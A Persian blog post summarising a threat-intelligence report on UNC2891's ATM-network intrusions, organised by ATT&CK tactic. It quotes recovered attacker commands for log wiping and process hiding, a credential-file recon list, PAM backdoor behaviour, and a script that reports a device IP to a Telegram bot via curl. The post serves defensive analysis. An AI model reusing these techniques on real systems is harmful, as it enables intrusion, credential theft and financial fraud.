محققای Group-IB، از سال ۲۰۲۲، حملات مرتبط با گروه UNC2891، علیه خودپردازهای (ATM) چندین مؤسسه مالی در اندونزی رو مورد بررسی قرار دادن و اخیرا مهم ترین یافتهها و مشاهدات حاصل از این تحقیقات رو منتشر کردن. این گزارش رو که در 71 صفحه ارائه شده، در قالب 3 پست ارائه کردیم.
- هکرهای ATM: قسمت اول — مرور و تحلیل حملات
- هکرهای ATM: قسمت دوم — TTPها
- هکرهای ATM: قسمت سوم — بدافزارها
این مجموعه پست ها، علاوه بر دید فنی، نحوه ی مواجهه با این رخداد و نحوه ی گزارش نویسی رو هم یاد میده. پست پیش رو، قسمت دوم این مجموعه است که به مرور TTPهای این حملات پرداخته.
بردار اولیه (Initial Vector) :
T1200 – Hardware Additions
بازیگر تهدید از طریق یک Raspberry Pi که به یک سوییچ پشت یک ATM متصل شده بود و مستقیما به بخش شبکهی ATM دسترسی داشت، تونسته دسترسی ولیه به شبکه هدف بدست بیاره.
اجرا (Execution):
- T1204.002 – User Execution: Malicious File
- T1059.004 – Command and Scripting Interpreter: Unix Shell
بازیگران تهدید از دستورات مختلفی برای انتقال ابزارها در شبکه، ایجاد یک متغیر محیطی جهت آنپک کردن STEELCORGI، پاک کردن لاگها و حذف تاریخچه دستورات استفاده کردن.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
snap snap bleach -a -z 9999 -C -y snap bleach -i [redacted_ip] -0 -C -y snap -t1 [redacted_ip]/24 22 snap -t1 [redacted_ip] tcpf /usr/bin/python /usr/lib/command-not-found -- snap ./snap snap bleach snap bleach -n [redacted] -z 999999 -C -y cd /tmp;alias s=snap s bleach -a -z 999 -C -y s nc110 ./snap ./snap nc110 s bleach -i [redacted_ip] -0 -C -y s -t1 [redacted_ip]/24 22 ss -t1 [redacted_ip]/24 22 s bleach s bleach -n [redacted] -z 999999 -C -y |
افزایش امتیاز (Privilege Escalation):
T1068 – Exploitation for Privilege Escalation
بازیگر تهدید از uuencode، تکنیک تبدیل داده باینری به ASCII، برای انتقال فایل باینری به سرور قربانی از طریق کنسول SSH استفاده کرده. با رمزگشایی لاگی که مهاجم روی سرور ذخیره کرده بود، مشخص شد ماژول Dirty Cow مربوط به CVE-2016-5195 به سرور ارسال شده. این آسیبپذیری، یک race condition در فایل mm/gup.c در کرنل لینوکس نسخه 2.x تا 4.x قبل از 4.8.3 است، که باعث میشه کاربران محلی بتونن با سوءاستفاده از مدیریت نادرست قابلیت Copy-on-Write، روی مموری نگاشت شده ی فقط خواندنی، بنویسن و امتیازات خودشون رو افزایش بدن.
پایداری (Persistence):
- T1554 – Compromise Client Software Binary
- T1556.003 – Modify Authentication Process: Pluggable Authentication Modules
- T1543.002 – Systemd ServiceT1037.005 – Startup Items
باینریهای مختلفی در چندین میزبان دستکاری شده بودن تا بدافزار رو لوود کنن یا خود به بدافزار تبدیل بشن. باینریهای تغییر یافته:
- /usr/bin/SSH
- /usr/sbin/atd
فایل SSH تغییر یافته بود تا دو کتابخانه زیر رو لوود کنه:
- /usr/lib/x86_64-linux-gnu/selinux.so.1
- /lib/x86_64-linux-gnu/ selinux.so.1
این دو کتابخانه همان کیلاگر WINGHOOK بودن. در نتیجه، WINGHOOK روی تمام نشستهای ورودی SSH اجرا میشد.
باینری atd تغییر یافته بود تا بعنوان TINYSHELL عمل کنه. از آنجا که atd بصورت پیشفرض در پس زمینه اجرا میشه، این روش ماندگاری دائمی برای بکدور ایجاد میکرد.
ماژول PAM شرکت قربانی دستکاری و با یک کتابخانه مخرب جایگزین شده بود که نقش SLAPSTICK رو ایفا میکرد.
بکدور TINYSHELL داخل پکیج رمزگذاری شده STEELCORGI تعبیه شده بود، به همراه باینریهای مخرب usr/lib/systemd/systemd-helper و usr/lib/systemd/systemd-updt . این سرویسها به systemd اضافه شده بودن تا در هر بوت سیستم به صورت خودکار اجرا بشن. همچنین مهاجم با اسکریپتهای init و ایجاد سرویسها، TINYSHELL رو طوری پایدار کرده بود که با هر بار بالا اومدن سیستم اجرا بشن.

فرار از شناسایی (Defense Evasion):
- T1070.002 – Clear Linux or Mac System Logs
- T1070.006 – Timestomp
- T1036.005 – Masquerading
- T1027 – Obfuscated Files
- T1556.003 – Modify PAM
- T1014 – Rootkit T1027.002 – Software Packing
- T1480.001 – Environmental Keying
- T1027.011 – Fileless Storage
بازیگر تهدید از تکنیکهای مختلفی برای فرار از شناسایی و سختتر کردن تحلیل بدافزار استفاده کرده.
دو ابزار LOGBLEACH و MIGLOGCLEANER، برای حذف لاگها از منابع مختلف در لینوکس پیدا شد. این ابزارها میتونن کل لاگها یا رشتههای خاص رو حذف کنن. LOGBLEACH با نامهای زیر مشاهده شد:
/dev/shm/b
/lib64/liblbch-2.4.so.2.5.6
/usr/lib/libmig.so.1
/usr/lib64/liblbch-2.4.so.2.5.6
/usr/share/i18n/pulse-shm-1489710120
در تاریخچه bash نیز شواهدی از استفاده LOGBLEACH دیده شد.
|
1 2 3 |
/lib64/liblbch-2.4.so.2.5.6 -a -C -y /lib64/liblbch-2.4.so.2.5.6 -i 2.0.0.111 -z 999 -C -y /lib64/liblbch-2.4.so.2.5.6 -n root -z 7777 -C -y |
MIGLOGCLEANER با نامهای زیر مشاهده شده:
/usr/lib/libmig.so.1
/usr/lib64/libmm.so.1.0
مهاجم فایلهای بدافزار رو با نامهای مشابه کتابخانههای معتبر جایگزین کرده بود تا مخفی بمونن. جدول زیر نمونههایی از شباهتهای بین نام بدافزار در مقایسه با نام کتابخانه ی قانونی رو نشان میده، که تفاوتها با رنگ قرمز برجسته شدن.

تمام نمونههای بدافزار دارای موارد زیر بودن:
- رمزگذاری پیلودها و رشته ها
- ضد دیباگ
- ضد آنالیز
- رمزگذاری وابسته به محیط
همچنین لاگهای ایجاد شده توسط SLAPSTICK و WINGHOOK هم رمزگذاری شده بودن.
هرچند تکنیک Timestomping در همه نمونهها دیده نشد، اما برای نسخه تغییر یافته pam_unix.so (یعنی SLAPSTICK) شواهد کاملی وجود داشت. اولین لاگ از 11 مارس 2017 بود اما زمان متادیتای فایل، 15 اکتبر 2012 بود. این اختلاف نشان دهنده Timestomping است.
جدول زیر هم نشان دهنده ی استفاده از نام باینری های قانونی برای بدافزارهارو نشان میده، که تفاوتها با رنگ قرمز برجسته شده.

محققا تکنیکی جدیدی مشاهده کردن که مهاجم از اون، برای مخفی کردن پروسسها از netstat، ss و ps استفاده کرده بود. در خروجی netstat و ss مشخص شد سرور به Raspberry Pi و یک سرور ایمیل متصل بود، اما پروسسهای مسئول این ارتباطات قابل مشاهده نبودن.

در dump حافظه مشخص شد مهاجم یک دایرکتوری مجازی روی فایل سیستم proc مانت کرده و بطور خاص دایرکتوری مربوط به پروسس TINYSHELL رو در مسیر proc مخفی کرده تا پروسس در خروجی ps و netstat دیده نشه.
|
1 2 |
tmpfs on /proc/8239 type tmpfs (rw,nosuid,nodev) /dev/vda1 on /proc/8914 type ext4 (rw,relatime,errors=remount-ro,data=ordered) |
دسترسی به اعتبارنامه ها (Credential Access):
- T1556.003 – Modify Authentication Process: Pluggable Authentication Modules
- T1056.001 – Input Capture: Keylogging
همانطور که قبلا اشاره شد، بازیگر تهدید ماژولهای PAM رو با بدافزار SLAPSTICK روی میزبانهای آلوده جایگزین کرده بود. مهاجم ماژول اصلی PAM رو با نام pam_unix.so تغییر نام داده و به pam_unix,so تبدیل کرده بود. یکی از قابلیتهای SLAPSTICK این که تمامی دادههای احراز هویت که از طریق PAM عبور میکنن رو خونده و اونارو در یک فایل لاگ رمزگذاری شده با نام var/tmp/.font-unix ذخیره میکنه.
انواع دادههایی که در این فایل ثبت شدن:

شناسایی (Discovery):
- T1016 – System Network Configuration Discovery
- T1049 – System Network Connections Discovery
- T1033 – System Owner/User Discovery
- T1087 – Account Discovery
- T1046 – Network Service Discovery
- T1010 – Application Window Discovery
- T1018 – Remote System Discovery
یک اسکریپت bash رمزگذاری شده با نام uu1.ue که توسط مهاجم اجرا شده بود هم یافت شد. این اسکریپت قادر بود از بخشهای مختلف سیستم اطلاعات جمعآوری کنه. اطلاعات جمع آوری شده شامل موارد زیر است.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
* HOSTNAME * USER LOGON * NETWORK INFORMATION * NETSTAT * ARP * /etc/hosts * /etc/passwd * /etc/shadow * /etc/security/passwd * /etc/sudoers * /usr/local/etc/sudoers * CRONTAB * HISTORY FILES * WTMP * System log * FIREWALL * TOMCAT USERS * ORACLE HOSTS * SSH KNOWN HOSTS * LIST HOMES FOLDER * HOST STORAGE * LDAP * /etc/ntp.conf * /etc/mail/sendmail[.]cf * /etc/resolv\* |
حرکت جانبی (Lateral Movement):
- T1021.004 – Remote Services: SSH
- T1210 – Exploitation of Remote Services
- T1570 – Lateral Tool Transfer
مهاجم از یک تکنیک دیگه هم استفاده کرده بود که به اون اجازه میداد، بدون داشتن حساب معتبر وارد یک میزبان بشه. این کار از طریق یک پسورد جادویی انجام میشد که در SLAPSTICK بصورت هاردکد شده قرار داده شده بود. در فرایند احراز هویت، اگه فیلد رمز عبور با این پسورد جادویی شروع میشد، SLAPSTICK کاربر رو احراز هویت میکرد و یکی از سه دستور زیر رو اجرا میکرد:
- rm# : حذف فایل موردنظر
- sh# : اجرای دستورات از راه دور از طریق شل فعلی
- tcp# : ایجاد اتصال TCP به یک سرور و ارسال دادهها به STDIN (عملکرد مشابه TCP Proxy)
براساس لاگهای SLAPSTICK، بیش از ۱۹ پسورد جادویی مختلف توسط مهاجم استفاده شده بود.
شکل زیر اتصال به میزبانی که SLAPSTICK در آن مستقر شده رو نشان میده.

با استفاده از اطلاعات سرقت شده، مهاجم میتونست به سادگی با SSH وارد میزبانهای مختلف بشه. همچنین دیده شده مهاجم دستور زیر رو اجرا کرده:
|
1 |
scp -t /tmp |
این دستور باعث میشه، میزبان آلوده منتظر دریافت فایل قرار بگیره و هر فایل ورودی از SSH رو در مسیر tmp ذخیره کنه.
جمع آوری (Collection):
T1056.001 – Input Capture: Keylogging
در میان سرورهای تحلیلشده، کیلاگری با نام WINGHOOK در چندین سرور یافت شد. دادههای جمعآوری شده توسط WINGHOOK در یک فایل رمزگذاریشده با نام var/tmp/.zmanDwJ2Og ذخیره میشد. در بسیاری از سرورها این نام ثابت بوده.
Command & Control:
- T1572 – Protocol Tunneling
- T1571 – Non-Standard Port
- T1568 – Dynamic Resolution
برای حفظ دسترسی در شبکههای بسته، مهاجم از TINYSHELL در سرورهای مختلف استفاده کرده بود و اون رو طوری پیکربندی کرده بود که با سرور دیگه ای در شبکه ارتباط برقرار کنه. تحلیل فایلهای config (شکل زیر) نشان میده این ارتباطات زنجیرهای بودن. وجود config نشان میده TINYSHELL قطعا روی سیستم اجرا شده.

روی یک سرور دیگه، ابزارهای iodine و OpenVPN هم یافت شد که در مسیر etc/init.d قرار داشتن و با update-rc.d ثبت شده بودن تا در زمان بوت اجرا بشن. تیم امنیتی قربانی اعلام کرد که این ابزارها رو نصب نکرده. Iodine ابزاری برای تونل کردن ترافیک IPv4 روی DNS است تا فایروالها و کنترلهای شبکه رو دور بزنه.
شکل زیر ارتباطات C2 مبتنی بر پیکربندی TINYSHELL رو نشان میده.

مهاجم برای C2 از Dynamic DNS (DDNS) استفاده میکرد. A-recordهای این دامنهها فقط برای مدت زمان عملیات مهاجمان فعال و سپس غیرفعال میشدن که به اونا اجازه میداد تا حد امکان آدرسهای IP مورد استفاده رو مخفی کنن.
همچنین مشخص شد که بازیگر تهدید از یک ربات تلگرام برای دریافت IP فعلی یک دستگاه Raspberry Pi جعلی استفاده کرده. بازیگر تهدید از طریق cronjob اسکریپت usr/bin/con.sh رو با محتوای زیر اجرا میکرد:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
#!/bin/bash #/usr/bin/chk.sh &>/dev/null if /usr/bin/ping -q -c 1 -W 5 8.8.8.8 >/dev/null; then echo "IPv4 is up" >/tmp/.con else date >>/tmp/.reset /usr/sbin/route del default /usr/sbin/route del default /usr/sbin/route del default /usr/sbin/route del default /usr/sbin/route del default /usr/sbin/ip route add default via [redacted_host] dev usb0 /usr/sbin/ip route del default via [Raspberry_Pi_host] dev eth0 fi |
عملکرد اسکریپت:
- اگه Raspberry Pi اینترنت داشت، خط IPv4 is up رو در tmp/.con مینوشت.
- مقدار خروجی date رو در tmp/.reset ذخیره میکرد
- مسیر پیشفرض رو حذف میکنه و یک مسیر دستی اضافه میکنه که تمام ترافیک رو به [redacted_host] هدایت کنه و از طریق رابط usb0 عبور میده. همچنین مسیری رو که ترافیک از اونجا به Raspberry Pi هدایت میشه رو حذف میکنه.
اسکریپت دیگه ای با نام usr/bin/chk.sh هم وجود داشت که IP Raspberry Pi رو برای بات تلگرام ارسال میکرد.
|
1 2 3 4 5 6 7 |
#!/bin/bash export IFS=$'n' if /usr/sbin/ifconfig eth0 | /usr/bin/grep -q inet; then rez=$(/usr/sbin/ifconfig eth0 | /usr/bin/grep inet | grep -v inet6) /usr/bin/curl "https://api.telegram.org/[redacted]/sendMessage? chat_id=-[redacted]&text=$rez" fi |
این اسکریپت آدرس IP رزبری پای رو به یک ربات تلگرام ارسال میکنه که احتمالا یکی از زیرساختهای C2 بازیگر تهدید است. هدف به احتمال زیاد ردیابی آدرس IP رزبری پای هستش چون به دلیل پروتکل DHCP، در معرض تغییرات قرار میگیره.
تاثیر (Impact):
T1565.002 – Data Manipulation: Transmitted Data Manipulation
پس از شناسایی اولیه توسط تیم IT درباره دستکاری دادهها میان سرورهای ATM و سرور HSM، تحلیل dump حافظه انجام شد. نتیجه تحلیل نشان داد که یک روتکیت کرنلی با نام CAKETAP نصب شده، با نام ماژول ipstat در دایرکتوری sys.
عملکرد این روت کیت:
- دادههای خروجی از ATM به HSM رو رهگیری میکنه.
- اونارو با مجموعهای از شرایط مقایسه میکنه، اگه شرایط برقرار باشه، داده قبل از خروج تغییر داده میشه.
CAKETAP همچنین شواهد نصب کرنلی خودش رو حذف کرده و لیست فایل ماژول کرنل خودش، ipstat، رو در دایرکتوری sys مخفی میکنه.
شکل زیر نمای کلی از نحوه ی کار روتکیت CAKETAP رو نشان میده.

کارتهای جعلی پیامهای تأیید رو با یک الگوریتم سفارشی تولید میکردن. اگه پیام مطابق الگوریتم بود، روتکیت PAN رو در حافظه ذخیره میکرد. بعدش روی پیامهای PIN Verification:
- اگه پیام برای کارت جعلی نبود: پیام رو همانطور ارسال میکرد.
- اگه پیام برای کارت جعلی بود: پیام رو با یکی از پیامهای قبلا ذخیره شده جایگزین میکرد.
این یک حمله Replay بود که باعث دور زدن تأیید PIN برای کارتهای جعلی میشد.